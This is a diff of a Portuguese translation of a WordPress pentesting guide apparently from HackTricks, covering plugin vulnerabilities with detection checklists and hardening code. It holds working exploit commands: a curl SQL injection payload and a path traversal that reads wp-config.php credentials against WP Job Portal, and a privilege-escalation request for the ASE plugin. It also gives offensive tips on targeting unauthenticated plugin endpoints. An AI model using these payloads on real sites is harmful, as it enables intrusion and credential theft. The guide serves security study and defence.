+Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para quebrar security plugins) ou regras `.htaccess`.
-#### Lista de verificação de detecção
+#### Checklist de detecção
-* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chama helpers de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
-* Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
+* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers do sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
+* Concatenação de input de usuário não sanitizado em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
-#### Fortalecimento
+#### Endurecimento
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
-> **Sempre** trate qualquer operação de gravação/exclusão no disco como privilegiada e verifique duas vezes:
-> • Autenticação • Autorização • Nonce • Sanitização de entrada • Contenção de caminho (por exemplo, via `realpath()` mais `str_starts_with()`).
+> **Sempre** trate qualquer operação de escrita/remoção no disco como privilegiada e verifique duas vezes:
+> • Autenticação • Autorização • Nonce • Sanitização da entrada • Contenção de caminho (ex.: via `realpath()` plus `str_starts_with()`).
---
-### Escalada de privilégio via restauração de função obsoleta e autorização ausente (ASE "Ver Admin como Função")
+### Privilege escalation via restauração de funções obsoletas e autorização ausente (ASE "View Admin as Role")
-Muitos plugins implementam um recurso de "ver como função" ou troca temporária de função salvando a(s) função(ões) original(is) na meta do usuário para que possam ser restauradas posteriormente. Se o caminho de restauração depender apenas de parâmetros de solicitação (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capacidades e um nonce válido, isso se torna uma escalada de privilégio vertical.
+Muitos plugins implementam um recurso de "view as role" ou troca temporária de função salvando a(s) função(ões) originais em user meta para que possam ser restauradas depois. Se o caminho de restauração depender apenas de parâmetros de requisição (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma escalada vertical de privilégios.
-Um exemplo do mundo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de redefinição restaurou funções com base em `reset-for=` se o nome de usuário aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não realizou uma verificação `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas da meta do usuário `_asenha_view_admin_as_original_roles`:
+Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava funções com base em `reset-for=` se o username aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem um `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas em user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -468,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
```
Por que é explorável
-- Confia em `$_REQUEST['reset-for']` e em uma opção de plugin sem autorização do lado do servidor.
-- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de redefinição.
-- Em algumas implementações, qualquer usuário autenticado poderia acionar uma redefinição para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
+- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no lado do servidor.
+- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o reset path.
+- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
-Pré-requisitos para o ataque
+Pré-requisitos do ataque
-- Versão vulnerável do plugin com o recurso habilitado.
-- A conta alvo tem um papel de alto privilégio obsoleto armazenado nos metadados do usuário de um uso anterior.
-- Qualquer sessão autenticada; nonce/capacidade ausente no fluxo de redefinição.
+- Versão vulnerável do plugin com o recurso ativado.
+- A conta alvo tem uma role de alto privilégio obsoleta armazenada em user meta de uso anterior.
+- Qualquer sessão autenticada; ausência de nonce/capability no fluxo de reset.
Exploração (exemplo)
```bash
@@ -486,42 +531,57 @@ Exploração (exemplo)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for='
```
-Em versões vulneráveis, isso remove os papéis atuais e re-adiciona os papéis originais salvos (por exemplo, `administrator`), efetivamente escalando privilégios.
+Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios.
-Lista de verificação de detecção
+Checklist de detecção
-- Procure por recursos de troca de papéis que persistem “papéis originais” na meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`).
-- Identifique caminhos de redefinição/restauração que:
- - Leiam nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
- - Modifiquem papéis via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- - Autorizem com base em um array de opções de plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
+- Procure por recursos de troca de função que persistam “funções originais” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`).
+- Identifique caminhos de reset/restore que:
+- Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
+- Modificam funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
+- Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
-Fortalecimento
+Mitigações
-- Aplique verificações de capacidade em cada ramificação que altera o estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
-- Exija nonces para todas as mutações de papel/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`.
-- Nunca confie em nomes de usuário fornecidos pela solicitação; resolva o usuário alvo no lado do servidor com base no ator autenticado e na política explícita.
-- Invalide o estado de “papéis originais” em atualizações de perfil/papel para evitar a restauração de privilégios elevados obsoletos:
+- Implemente verificações de capability em cada ramo que altere estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
+- Exija nonces para todas as mutações de função/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`.
+- Nunca confie em nomes de usuário fornecidos pela requisição; resolva o usuário alvo no servidor com base no ator autenticado e em uma política explícita.
+- Invalide o estado de “funções originais” em atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
-- Considere armazenar um estado mínimo e usar tokens temporários com capacidade limitada para mudanças de função.
+Considere armazenar o mínimo de estado e usar tokens com duração limitada, protegidos por capability, para trocas temporárias de função.
---
+### Considerações de WAF para WordPress/plugin CVEs
+
+Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
+
+Notas ofensivas
+
+- Mire endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
+- Teste primeiro caminhos não autenticados (AJAX `nopriv`, REST com `permission_callback` permissivo, shortcodes públicos). Payloads padrão frequentemente funcionam sem obfuscação.
+- Casos típicos de alto impacto: elevação de privilégios (broken access control), arbitrary file upload/download, LFI, open redirect.
+
+Notas defensivas
+
+- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente patches virtuais específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente.
+- Prefira checagens de segurança positivas no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
+
## Proteção do WordPress
-### Atualizações Regulares
+### Atualizações regulares
-Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
+Certifique-se de que WordPress, plugins e themes estão atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
-Também, **instale apenas plugins e temas confiáveis do WordPress**.
+Além disso, **instale apenas plugins e temas WordPress confiáveis**.
### Plugins de Segurança
@@ -531,15 +591,16 @@ Também, **instale apenas plugins e temas confiáveis do WordPress**.
### **Outras Recomendações**
-- Remova o usuário **admin** padrão
+- Remova o usuário padrão **admin**
- Use **senhas fortes** e **2FA**
- **Revise** periodicamente as **permissões** dos usuários
-- **Limite tentativas de login** para prevenir ataques de Força Bruta
+- **Limite tentativas de login** para prevenir ataques de Brute Force
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
+
### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2)
-O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última análise, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
+O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que acaba por executar o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@@ -549,15 +610,15 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
-Problemas introduzidos por este trecho:
+Issues introduced by this snippet:
-1. **Entrada do usuário não sanitizada** – `parentid` vem diretamente da requisição HTTP.
-2. **Concatenação de strings dentro da cláusula WHERE** – sem `is_numeric()` / `esc_sql()` / declaração preparada.
-3. **Acessibilidade não autenticada** – embora a ação seja executada através de `admin-post.php`, a única verificação em vigor é um **nonce CSRF** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`.
+1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
+2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
+3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
#### Exploração
-1. Pegue um nonce fresco:
+1. Pegue um nonce novo:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@@ -569,18 +630,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
-A resposta revela o resultado da consulta injetada ou altera o banco de dados, provando SQLi.
+A resposta revela o resultado da query injetada ou altera o banco de dados, comprovando a SQLi.
-### Download de Arquivo Arbitrário Não Autenticado / Traversal de Caminho (WP Job Portal <= 2.3.2)
+### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
-Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via traversal de caminho. O ponto vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
+Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
-`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
+`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
#### Exploração
```bash
@@ -591,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
-O servidor responde com o conteúdo de `wp-config.php`, vazando credenciais do banco de dados e chaves de autenticação.
+O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials and auth keys.
## Referências
-- [Vulnerabilidade de Exclusão Arbitrária de Arquivos Não Autenticada no Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
-- [Múltiplas Vulnerabilidades Críticas Corrigidas no Plugin WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
-- [Caso Raro de Escalação de Privilégios no Plugin ASE Afetando Mais de 100k Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
-- [Mudança do ASE 7.6.3 – excluir funções originais na atualização do perfil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
+- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
+- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
+- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
+- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
+- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
+- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
+- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}